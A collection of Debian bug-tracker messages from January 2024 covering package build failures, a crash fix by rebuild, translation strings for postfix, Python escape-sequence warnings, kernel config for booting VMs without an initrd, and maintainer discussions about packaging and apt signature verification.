" Satellite system:\n"
"  All mail is sent to another machine, called a 'smarthost', for\n"

Bug#1042858: [Debichem-devel] Bug#1042858: promod3: unable to install on arm64

[Graham Inggs]

Hi Andrius

On Fri, 26 Jan 2024 at 09:21, Andrius Merkys  wrote:
> promod3 is arch:all, but it depends on arch:any packages which build on
> amd64 only.

Why does openstructure build for amd64 only?

Looking in one of the failed build logs, I see:

./modules/mol/base/tests/test_ics.cc(216):
error: in "mol_base/ics_settorsion_linear_unbuffered":
difference{4} between s.t2.GetAngle(){-2.3561945} and
Real(3.14159265358979323846/4){0.785398185} exceeds 0.0001%

0.7854 is 45 degrees, and -2.3562 is -135 degrees (45 - 180).
Are both answers correct?  You could skip the failing test, or compare
the tangent of both values.

> Is it necessary to limit the architecture list for promod3?
> I am reluctant to do so as there will be the need to manually update the
> list every time a new architecture becomes supported by its arch:any
> dependencies.

You could make promod3 arch:any instead of arch:all, but instead of
trying to maintain a list of architectures, simply add python3-ost as
a Build-Dependency (even if it is not really needed).  This will
ensure that promod3 is only built on architectures where python3-ost
is available.

Regards
Graham

Bug#1061565: nmu: rust-alacritty_0.12.2-2

[James McCoy]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: binnmu
X-Debbugs-Cc: rust-alacri...@packages.debian.org
Control: affects -1 + src:rust-alacritty

nmu rust-alacritty_0.12.2-2 . ANY . unstable . -m "Rebuild against 
rust-smithay-client-toolkit 0.16.1"

This is needed to fix #1061563 (crash with recent sway versions).

Bug#1061563: alacritty: Crashes on sway (trixie)

[James McCoy]

On Fri, Jan 26, 2024 at 02:17:18PM +, Martin Bruset Solberg wrote:
>* What led up to the situation? Upgrading sway to latest (from
>trixie)
>* What exactly did you do (or not do) that was effective (or
>  ineffective)? Start the app
>* What was the outcome of this action? App freezes on startup
>* What outcome did you expect instead? App starting
> 
> App freezes on startup, throws: interface 'wl_surface' has no event 2
> 
> According to https://github.com/alacritty/alacritty/issues/7350, 0.12.3
> is needed to run on trixie sway.

Nothing actually changed in that version of alacritty except that some
dependencies were updated.  The update of smithay-client-toolkit from
0.16.0 to 0.16.1 is the relevant change and we already have 0.16.1 sctk
packaged.  I'll see about getting a binNMU triggered for alacritty,
which should address this.

Cheers,
-- 
James
GPG Key: 4096R/91BF BF4D 6956 BD5D F7B7  2D23 DFE6 91AE 331B A3DB

Bug#1060275: asterisk: Codec translation notice

[Jonas Smedegaard]

Quoting Jonas Smedegaard (2024-01-26 15:47:29)
> Quoting List Support via Pkg-voip-maintainers (2024-01-26 15:27:31)
> > 
> > Le 26/01/2024 à 14:46, Jonas Smedegaard a écrit :
> > > [...]
> > >> Do you will for 20.6 ?
> > > [...]
> > >
> > > So if your question is whether or not I will investigate something and
> > > come up with a fix for the problem that you have presented in this
> > > bugreport, then no: I am not a skilled C programmer, and I have tried
> > > and failed to identify anything in the patches we maintain as part of
> > > the Debian packaging, which looks like it could have caused the issue
> > > that you are reporting here.  In other words, I am hoping that someone
> > > else (perhaps you?) could help identify the cause and propose a fix.
> > 
> > That was my interrogation.
> > 
> > For what I get for information from asterisk developpers, this message 
> > is not an original one so one of the Debian applied patch seems to be 
> > the culpit. On which place can I see all of them to check ? Even if my 
> > knowledge in C is zero, my eyes are OK ;)
> 
> More eyes are good :-)
> 
> Patches applied are here:
> https://salsa.debian.org/pkg-voip-team/asterisk/-/tree/debian/latest/debian/patches

Probably relevant too, since you are comparing against pristine upstream
code, is the list of code stripped for Debian use (until line 47):
https://salsa.debian.org/pkg-voip-team/asterisk/-/blob/debian/latest/debian/copyright


 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/
 * Sponsorship: https://ko-fi.com/drjones

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#1060275: asterisk: Codec translation notice

[Jonas Smedegaard]

Quoting List Support via Pkg-voip-maintainers (2024-01-26 15:27:31)
> 
> Le 26/01/2024 à 14:46, Jonas Smedegaard a écrit :
> > [...]
> >> Do you will for 20.6 ?
> > [...]
> >
> > So if your question is whether or not I will investigate something and
> > come up with a fix for the problem that you have presented in this
> > bugreport, then no: I am not a skilled C programmer, and I have tried
> > and failed to identify anything in the patches we maintain as part of
> > the Debian packaging, which looks like it could have caused the issue
> > that you are reporting here.  In other words, I am hoping that someone
> > else (perhaps you?) could help identify the cause and propose a fix.
> 
> That was my interrogation.
> 
> For what I get for information from asterisk developpers, this message 
> is not an original one so one of the Debian applied patch seems to be 
> the culpit. On which place can I see all of them to check ? Even if my 
> knowledge in C is zero, my eyes are OK ;)

More eyes are good :-)

Patches applied are here:
https://salsa.debian.org/pkg-voip-team/asterisk/-/tree/debian/latest/debian/patches


 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/
 * Sponsorship: https://ko-fi.com/drjones

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#1032204: plover: Please upgrade to new version 4.0.0.dev12

[Boyuan Yang]

Hi,

On Wed, 20 Sep 2023 15:42:00 -0400 Boyuan Yang  wrote:
> Hi,
> 
> On Wed, 01 Mar 2023 11:15:18 -0500 Boyuan Yang  wrote:
> > Source: plover
> > Severity: normal
> > Tags: sid
> > Version: 4.0.0~dev10-1
> > 
> > Dear Debian plover package maintainer,
> > 
> > Please consider packaging the new release of plover as released at
> > https://github.com/openstenoproject/plover/releases .
> > 
> > Just in case the new version needs some new dependency, I have packaged
> > plover-stroke at https://tracker.debian.org/pkg/plover-stroke . You are
> > welcome to examine and co-maintain plover-stroke as necessary.
> 
> Is there any progress on this issue? If it's okay for me to make an 
> experimental
> upload to test the new release, please let me know.

Is there any progress afterwards? As the python 3.12 transition is approaching,
I will consider making a NMU for package plover on this issue in 1 week
if there is no further response. Thanks!

Best,
Boyuan Yang


signature.asc
Description: This is a digitally signed message part

Bug#592135: retitle 592135 ITP: ansi-color -- create ANSI escape codes to color shell output

[jfv.opensource]

retitle 592135 ITP: ansi-color -- create ANSI escape codes to color
shell output
owner 592135
thanks

Package candidate will be published shortly

Bug#1061564: [INTL:sv] Swedish strings for postfix debconf

[Martin Bagge / brother]

package: postfix
severity: wishlist
tags: patch l10n

Please consider to add this file to translation of debconf.

--
brother# Translation of Postfix debconf template to Swedish
# Copyright (C) 2024 Martin Bagge 
# This file is distributed under the same license as the postfix package.
#
# Martin Ågren , 2008.
# Martin Bagge , 2012, 2013, 2017, 2024
msgid ""
msgstr ""
"Project-Id-Version: postfix_2.5.2-2_sv\n"
"Report-Msgid-Bugs-To: post...@packages.debian.org\n"
"POT-Creation-Date: 2023-06-30 20:49-0400\n"
"PO-Revision-Date: 2024-01-26 15:27+0100\n"
"Last-Translator: Martin Bagge / brother \n"
"Language-Team: Swedish \n"
"Language: sv\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. Type: boolean
#. Description
#: ../templates:1001
msgid "Ignore incorrect hostname entry?"
msgstr "Ignorera felaktig \"hostname\"-post?"

#. Type: boolean
#. Description
#: ../templates:1001
msgid ""
"The string '${enteredstring}' does not follow RFC 1035 and does not appear "
"to be a valid IP address."
msgstr ""
"Strängen \"${enteredstring}\" följer inte RFC 1035 och verkar inte vara en "
"giltig IP-adress."

#. Type: boolean
#. Description
#: ../templates:1001
msgid ""
"RFC 1035 states that 'each component must start with an alphanum, end with "
"an alphanum and contain only alphanums and hyphens. Components must be "
"separated by full stops.'"
msgstr ""
"RFC 1035 fastslår att \"varje komponent måste börja med ett alfanumeriskt "
"tal, sluta med ett alfanumeriskt tal och får endast innehålla alfanumeriska "
"tal och bindestreck. Komponenter måste separeras med fullständiga stopp.\""

#. Type: boolean
#. Description
#: ../templates:1001
msgid "Please check and confirm if you want to keep your entry."
msgstr "Välj huruvida du vill behålla valet ändå."

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "No configuration"
msgstr "Ingen konfiguration"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Internet Site"
msgstr "Internetsystem"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Internet with smarthost"
msgstr "Internet med smart värd"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Satellite system"
msgstr "Satellitsystem"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Local only"
msgstr "Endast lokalt"

#. Type: select
#. Description
#: ../templates:2002
msgid "General mail configuration type:"
msgstr "Typ av e-postkonfiguration:"

#. Type: select
#. Description
#: ../templates:2002
msgid ""
"Please select the mail server configuration type that best meets your needs."
msgstr ""
"Välj den konfigurationstyp för e-postservern som bäst passar dina behov."

#. Type: select
#. Description
#: ../templates:2002
msgid ""
" No configuration:\n"
"  Should be chosen to leave the current configuration unchanged.\n"
" Internet site:\n"
"  Mail is sent and received directly using SMTP.\n"
" Internet with smarthost:\n"
"  Mail is received directly using SMTP or by running a utility such\n"
"  as fetchmail. Outgoing mail is sent using a smarthost.\n"
" Satellite system:\n"
"  All mail is sent to another machine, called a 'smarthost', for\n"
"  delivery.\n"
" Local only:\n"
"  The only 

Bug#1060275: asterisk: Codec translation notice

[List Support]

Le 26/01/2024 à 14:46, Jonas Smedegaard a écrit :

[...]

Do you will for 20.6 ?

[...]

So if your question is whether or not I will investigate something and
come up with a fix for the problem that you have presented in this
bugreport, then no: I am not a skilled C programmer, and I have tried
and failed to identify anything in the patches we maintain as part of
the Debian packaging, which looks like it could have caused the issue
that you are reporting here.  In other words, I am hoping that someone
else (perhaps you?) could help identify the cause and propose a fix.


That was my interrogation.

For what I get for information from asterisk developpers, this message 
is not an original one so one of the Debian applied patch seems to be 
the culpit. On which place can I see all of them to check ? Even if my 
knowledge in C is zero, my eyes are OK ;)


--
Daniel

Bug#1061563: alacritty: Crashes on sway (trixie)

[Martin Bruset Solberg]

Package: alacritty
Version: 0.12.2-2+b1
Severity: wishlist

Dear Maintainer,

   * What led up to the situation? Upgrading sway to latest (from
   trixie)
   * What exactly did you do (or not do) that was effective (or
 ineffective)? Start the app
   * What was the outcome of this action? App freezes on startup
   * What outcome did you expect instead? App starting

App freezes on startup, throws: interface 'wl_surface' has no event 2

According to https://github.com/alacritty/alacritty/issues/7350, 0.12.3
is needed to run on trixie sway.

-- System Information:
Debian Release: 12.4
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 
'stable'), (400, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 6.4.0-0.deb12.2-amd64 (SMP w/8 CPU threads; PREEMPT)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages alacritty depends on:
ii  libc6   2.36-9+deb12u3
ii  libfontconfig1  2.14.1-4
ii  libfreetype62.12.1+dfsg-5
ii  libgcc-s1   12.2.0-14
ii  libxcb1 1.15-1

alacritty recommends no packages.

alacritty suggests no packages.

-- no debconf information

Bug#1060275: asterisk: Codec translation notice

[Jonas Smedegaard]

Quoting List Support via Pkg-voip-maintainers (2024-01-26 12:46:21)
> 
> Le 26/01/2024 à 11:33, Jonas Smedegaard a écrit :
> > Quoting List Support via Pkg-voip-maintainers (2024-01-26 11:19:16)
> >> Did you found a solution for this? Could be applied in next 20.6.0
> >> version ? We need other codecs appart of alaw.
> > I have not worked on this at all, sorry.
> Do you will for 20.6 ?

I am not sure I understand your question.

I will update Debian packaging of Asterisk to 20.6.

I do not expect to change anything in the Debian packaging for that
release.

So if your question is whether or not I will investigate something and
come up with a fix for the problem that you have presented in this
bugreport, then no: I am not a skilled C programmer, and I have tried
and failed to identify anything in the patches we maintain as part of
the Debian packaging, which looks like it could have caused the issue
that you are reporting here.  In other words, I am hoping that someone
else (perhaps you?) could help identify the cause and propose a fix.

If instead you are asking if I will apply some fix that you have already
found and presented as part of this bugreport - in other words, if you
*are* that person I describe above that I am waiting for - then sorry
that I failed to understand you: Please try again and explain to me what
you see as being the fix (not only what you see as being a problem).


Kind regards,

 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/
 * Sponsorship: https://ko-fi.com/drjones

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#1061562: SyntaxWarning: invalid escape sequence '\-'

[Christian Marillat]

Package: python3-pyrdfa
Version: 3.6.2+ds-1
Severity: normal

Dear Maintainer,

Insatllation return these warnings :

,
| Preparing to unpack .../python3-pyrdfa_3.6.2+ds-1_all.deb ...
| Unpacking python3-pyrdfa (3.6.2+ds-1) over (3.6.2+ds-1) ...
| Setting up python3-pyrdfa (3.6.2+ds-1) ...
| /usr/lib/python3/dist-packages/pyRdfa/extras/httpheader.py:344: 
SyntaxWarning: invalid escape sequence '\-'
|   """Parses a quoted string.
| /usr/lib/python3/dist-packages/pyRdfa/extras/httpheader.py:355: 
SyntaxWarning: invalid escape sequence '\-'
|   """Parses a token or a quoted-string.
| /usr/lib/python3/dist-packages/pyRdfa/extras/httpheader.py:518: 
SyntaxWarning: invalid escape sequence '\-'
|   """Parses a ()-style comment from a header value.
| /usr/lib/python3/dist-packages/pyRdfa/rdfs/cache.py:21: SyntaxWarning: 
invalid escape sequence '\+'
|   xml_application_media_type = re.compile("application/[a-zA-Z0-9]+\+xml")
| /usr/lib/python3/dist-packages/pyRdfa/termorcurie.py:61: SyntaxWarning: 
invalid escape sequence '\+'
|   xml_application_media_type = re.compile("application/[a-zA-Z0-9]+\+xml")
| /usr/lib/python3/dist-packages/pyRdfa/utils.py:131: SyntaxWarning: invalid 
escape sequence '\?'
|   _unquotedChars = ':/\?=#~'
`

Christian


-- System Information:
Debian Release: trixie/sid
  APT prefers buildd-unstable
  APT policy: (500, 'buildd-unstable'), (500, 'unstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 6.7.2-1-custom (SMP w/24 CPU threads; PREEMPT)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages python3-pyrdfa depends on:
ii  python3   3.11.6-1
ii  python3-html5lib  1.1-3
ii  python3-rdflib6.1.1-2
ii  python3-requests  2.31.0+dfsg-1

python3-pyrdfa recommends no packages.

python3-pyrdfa suggests no packages.

-- no debconf information

Bug#1061561: foot: Add the possibility to open inode/directory with xdg-open.

[Jonatas]

Package: foot
Version: 1.16.2-2
Severity: normal
X-Debbugs-Cc: dkdj3p...@mozmail.com

Dear Maintainer,

Add the possibility to open inode/directory with xdg-open.
This will help a lot when used in a minimal window manager, such as sway.

Suggestion:
Add the "org.codeberg.dnkl.foot-directory.desktop" file with:
...
Exec=foot --working-directory
...

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?
   * What exactly did you do (or not do) that was effective (or
 ineffective)?
   * What was the outcome of this action?
   * What outcome did you expect instead?

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: trixie/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 6.6.13-amd64 (SMP w/4 CPU threads; PREEMPT)
Locale: LANG=pt_BR.UTF-8, LC_CTYPE=pt_BR.UTF-8 (charmap=UTF-8), 
LANGUAGE=pt_BR:pt:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages foot depends on:
ii  init-system-helpers  1.66
ii  libc62.37-14
ii  libfcft4 3.1.7-1
ii  libfontconfig1   2.14.2-6+b1
ii  libpixman-1-00.42.2-1
ii  libutf8proc3 2.9.0-1
ii  libwayland-client0   1.22.0-2.1
ii  libwayland-cursor0   1.22.0-2.1
ii  libxkbcommon01.6.0-1
ii  ncurses-term 6.4+20240113-1

foot recommends no packages.

Versions of packages foot suggests:
pn  foot-themes  

-- debconf-show failed

Bug#1061560: Need to remove /etc/dhcp/dhclient-exit-hooks.d/fetch-ldap-cert on upgrade

[Mike Gabriel]

Control: severity -1 serious

On  Fr 26 Jan 2024 13:28:52 CET, Guido Berhoerster wrote:


Package: debian-edu-config
Version: 2.12.43

The dhclient hook /etc/dhcp/dhclient-exit-hooks.d/fetch-ldap-cert has been
renamed to/etc/dhcp/dhclient-exit-hooks.d/fetch-rootca-cert in
https://salsa.debian.org/debian-edu/debian-edu-config/-/commit/912fa538970efd7175481779a5bde71f6d14d530
On package upgrade the old hook fetch-ldap-cert will be left behind and
lead to errors because the init script it tries to start no longer exists.

The old hook should probably be removed by a maintainer script.


Leaving config files behind is a policy violation and needs to be  
addressed before next pu-upload round.


Mike
--

DAS-NETZWERKTEAM
c\o Technik- und Ökologiezentrum Eckernförde
Mike Gabriel, Marienthaler Str. 17, 24340 Eckernförde
mobile: +49 (1520) 1976 148
landline: +49 (4351) 850 8940

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpl8NaHrSm9j.pgp
Description: Digitale PGP-Signatur

Bug#1051432: Info received ()

[Terrance Hendrik]

Update 2024-01-26

1. It has nothing to do with GUI. In text mode the issue is the same.

2. it has nothing to do with DKMS, removing it changes nothing.

3. I swapped SSD between 2 computers, the issue goes with the SSD. So it's
not a hardware issue

4. I `apt purge` bluez and blueman, removed /etc/bluetooth, then reinstall
them, the issue persists.

5. I compared files in /etc/udev/rules.d and /lib/modules on both computer,
they are identical.
only difference is modules.dep*, modules.symbols* and extra dkms modules.

6. other info

on the working OS, connecting a logitech mouse has 2 syslog messages
```
... blueman-manager[7228]: blueman-manager 18.32.55 WARNING
 ManagerDeviceList:396 _monitor_power_levels: Failed to get power levels,
probably a LE device.
... kernel: input: MX Anywhere 3 Mouse as
/devices/virtual/misc/uhid/0005:046D:B025.000D/input/input37
... kernel: hid-generic 0005:046D:B025.000D: input,hidraw5: BLUETOOTH HID
v0.14 Mouse [MX Anywhere 3] on 
```

on the NOT working OS, connecting a logitech mouse has 2 syslog messages
```
... thWJ16P bluetoothd[7933]: src/service.c:service_accept() input-hog
profile accept failed for F6:8C:E4:DD:B8:6B
... thWJ16P bluetoothd[7933]: src/service.c:service_accept() input-hog
profile accept failed for F6:8C:E4:DD:B8:6B
```

7. Final Question:
What else can affect the behavior between bluez and the kernel??


On Fri, Nov 17, 2023 at 8:36 AM Debian Bug Tracking System <
ow...@bugs.debian.org> wrote:

> Thank you for the additional information you have supplied regarding
> this Bug report.
>
> This is an automatically generated reply to let you know your message
> has been received.
>
> Your message is being forwarded to the package maintainers and other
> interested parties for their attention; they will reply in due course.
>
> Your message has been sent to the package maintainer(s):
>  Debian Bluetooth Maintainers 
>
> If you wish to submit further information on this problem, please
> send it to 1051...@bugs.debian.org.
>
> Please do not send mail to ow...@bugs.debian.org unless you wish
> to report a problem with the Bug-tracking system.
>
> --
> 1051432: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1051432
> Debian Bug Tracking System
> Contact ow...@bugs.debian.org with problems
>

Bug#1061445: linux-image-6.7-cloud-amd64: Built CONFIG_VIRTIO_BLK into kernel

[Paul Menzel]

Dear Bastian,


Thank you for your reply.

Am 24.01.24 um 21:01 schrieb Bastian Blank:

Control: tags -1 wontfix

On Wed, Jan 24, 2024 at 06:13:05PM +0100, Paul Menzel wrote:

Trying to quickly start a VM, it’d be great to not use an initrd image, and
also use the Virtio features, for example with the command below:


Please use virtiofs in this case.


 qemu-system-x86_64 -M q35 -m 32G -enable-kvm -cpu host -smp cpus=32 
-device virtio-rng-pci -net nic,model=virtio-net-pci -net 
user,hostfwd=tcp::5-:22 -drive 
if=virtio,file=/scratch/local2/debian-linux-build.img -vga none -nographic


But you don't specify a kernel, so it boots fine using the initramfs
within.  So this already boots quite fine.


Yes, it boots fine, but slow.


I don't see what exactly you mean will be easier.


With

@@ -2113,7 +2115,7 @@
 CONFIG_ATA_OVER_ETH=m
 CONFIG_XEN_BLKDEV_FRONTEND=m
 CONFIG_XEN_BLKDEV_BACKEND=m
-CONFIG_VIRTIO_BLK=m
+CONFIG_VIRTIO_BLK=y
 CONFIG_BLK_DEV_RBD=m
 CONFIG_BLK_DEV_UBLK=m
 CONFIG_BLKDEV_UBLK_LEGACY_OPCODES=y

and

$ grep UUID /etc/default/grub
# Uncomment if you don't want GRUB to pass "root=UUID=xxx" 
parameter to Linux

GRUB_DISABLE_LINUX_UUID=true

I am now able to boot the VM image without an initrd, editing 
`/boot/grub/grub.cfg`, which saves a little time, as the initrd does not 
need to be loaded by GRUB and later dealt with (unpack/run) by the Linux 
kernel.



Kind regards,

Paul


PS: I know, there are more things to speed up the boot time, but this 
change is quite easy.

Bug#1030845: RFP: sbctl -- Secure Boot Manager

[Faidon Liambotis]

On Wed, Feb 08, 2023 at 11:32:50AM +0100, Marco d'Itri wrote:
> Package: wnpp
> Severity: wishlist
> 
> * Package name: sbctl
>   Version : 0.10
>   Upstream Contact: Morten Linderud 
> * URL : https://github.com/Foxboron/sbctl/
> * License : MIT
>   Programming Lang: Go
>   Description : Secure Boot Manager

I've pushed:
https://salsa.debian.org/go-team/packages/sbctl
as well as the missing dependency:
https://salsa.debian.org/go-team/packages/golang-github-foxboron-go-uefi

Note that there are two debian/patches for sbctl:
1) First, to use FHS paths, diverging from upstream's locations (which
is non-ideal). Upstream issue #57 is open upstream:
https://github.com/Foxboron/sbctl/issues/57

2) Second, to disable TPM support. It requires a long dependency chain
for Go-Attestation that it felt too overwhelming for me. YMMV :)

This package builds and works for me. I'm not up for maintaining it in
the long-run though, so I'm leaving this as an RFP and *not* uploading
it to unstable. Hopefully this initial packaging work is useful to
whoever decides to pick it up.

If anyone else is up for it, I may be available to sponsor the uploads
and/or provide code reviews.

Best,
Faidon

Bug#1061560: Need to remove /etc/dhcp/dhclient-exit-hooks.d/fetch-ldap-cert on upgrade

[Guido Berhoerster]

Package: debian-edu-config
Version: 2.12.43

The dhclient hook /etc/dhcp/dhclient-exit-hooks.d/fetch-ldap-cert has been
renamed to/etc/dhcp/dhclient-exit-hooks.d/fetch-rootca-cert in
https://salsa.debian.org/debian-edu/debian-edu-config/-/commit/912fa538970efd7175481779a5bde71f6d14d530
On package upgrade the old hook fetch-ldap-cert will be left behind and
lead to errors because the init script it tries to start no longer exists.

The old hook should probably be removed by a maintainer script.

-- 
Guido Berhoerster

Bug#1061319: proposed package update

[Matthias Klose]

Control: tags -1 + patch

https://launchpad.net/ubuntu/+source/cadabra2/2.4.5.4-0ubuntu1

Bug#1054688: proposed package update

[Matthias Klose]

Here is what we came up with. Note that there's still one test hanging, 
which is disabled for now.


https://launchpad.net/ubuntu/+source/gringo/5.6.2-0ubuntu1

Bug#1061559: RFS: fpart/1.6.0-1

[Ganael Laplanche]

Package: sponsorship-requests
Severity: normal

Dear mentors,

I am looking for a sponsor for my package "fpart":

 * Package name: fpart
   Version : 1.6.0-1
   Upstream Author : Ganael Laplanche 
 * URL : http://sourceforge.net/projects/fpart/
 * License : BSD-2-Clause
 * Vcs : https://salsa.debian.org/debian/fpart.git
   Section : misc

It provides the following tools:

  fpart (binary)
  fpsync (shell script)

To access further information about this package, please visit the 
following URL:


  https://mentors.debian.net/package/fpart

Changes since the last upload:

fpart (1.6.0-1) unstable; urgency=low

   * New upstream release
   * debian/control
 - Bump Standards-Version to 4.6.2 (no changes required)
   * debian/copyright
 - Bump copyright dates
   * debian/rules
 - Enable hardening

Regards,

--
Ganael LAPLANCHE 
http://www.martymac.org | http://contribs.martymac.org
FreeBSD: martymac , http://www.FreeBSD.org

Bug#1061555: apt: augment signature verification for key-usage transparency (Sigstore/Sigsum)

[Simon Josefsson]

Julian Andres Klode  writes:

> I'm strongly opposed to add support for these off-the-shelve solutions.
> We need end-to-end control of all aspects of signing.
>
> What we learned with OpenPGP is that we don't want to be tied to third
> party off-the-shelve solutions as we cannot control the cryptography and
> are subject to the whims of their developers.
>
> Hence we're still stuck with 1024-bit RSA keys in freaking 2024.
>
> I have started apt-sign to get rid of the horrors of OpenPGP and get
> a sensible format. I still have to make some changes to it, but if
> we want to have a solution it essentially will boil down to adding
> this to the Signatures field which will have lines of the form:
>
>
>
> where  currently is apt-ed448 or apt-ed25519.
>
> It's entirely possible to require signatures from multiple keys
> and implement co-signing that way rather than bolt on off-the-shelve
> crap that we cannot control.

That seems interesting, where can we find this implementation?  I can't
find a branch or merge request.

Where is the Signature: field placed?  Inside the (In)Release file?

All the above seems orthogonal to support for key-usage transparency
mechanisms.  Do you plan to implement that too?  What protocol?

If not, your signature method ought to be extended to support some
key-usage transparency method, in some similar way to what I proposed
how to extend our current PGP-based verification with key-usage
transparency support.  Sigstore and sigsum are two methods that I am
aware of, but there may be others.

Or, finally, if there will be no built-in key-usage transparency method
in apt, and no support for extensions to add support, this will be
supported externally to apt by those who care about it.

/Simon


signature.asc
Description: PGP signature

Bug#1061558: compton: Recommends 'picom', another X11 compositor.

[Phil Wyett]

Package: compton
Version: 1-1
Severity: normal

Hi all,

compton in bookworm/stable recommends picom, another X11 compositor and will 
install it
and all its dependencies for users with a default setup.

Action: Remove the 'Recommends' in 'd/control' and submit as stable update.

Regards

Phil

-- 
Playing the game for the games sake.

Web:

* Debian Wiki: https://wiki.debian.org/PhilWyett
* Website: https://kathenas.org
* Social Debian: https://pleroma.debian.social/kathenas/
* Social Instagram: https://www.instagram.com/kathenasorg/




signature.asc
Description: This is a digitally signed message part

Bug#1061497: msgpack-cxx: Please update to 6.1.0

[Stephan Lachnit]

Hi James,

thanks for your swift replay and thanks for the bug report! I was not
aware of it.

Regarding the transition, the only missing package according to
#1018679 is autobahn-cpp (#1019114), which is orphaned.

However, there are indeed new packages that have appeared since then
that depend on libmsgpack-dev:
- neovim
- dials
- tmate-ssh-server
- libdata-messagepack-stream-perl
- tamte
- rocblas
- groonga
- webdis
- neovim-qt
- libdata-messagepack-perl

I did a quick codesearch via
https://codesearch.debian.net/search?q=msgpack.hpp to find out which
of those packages actually depend on msgpack-cxx:
- ring
- rocblas
- dials
- libdata-messagepack-stream-perl (unsure)

Is there anything I can do to help speed up this transition? Given
that number of affected packages is quite small, I don't think a
forceful transition for the C++ library would be a problem (that is,
removing libmsgpack-cxx-dev from libmsgpack-dev and updating
msgpack-cxx). I am willing to invest time in writing bug reports and
patches if you think this is doable before Feb 29th.

Cheers,
Stephan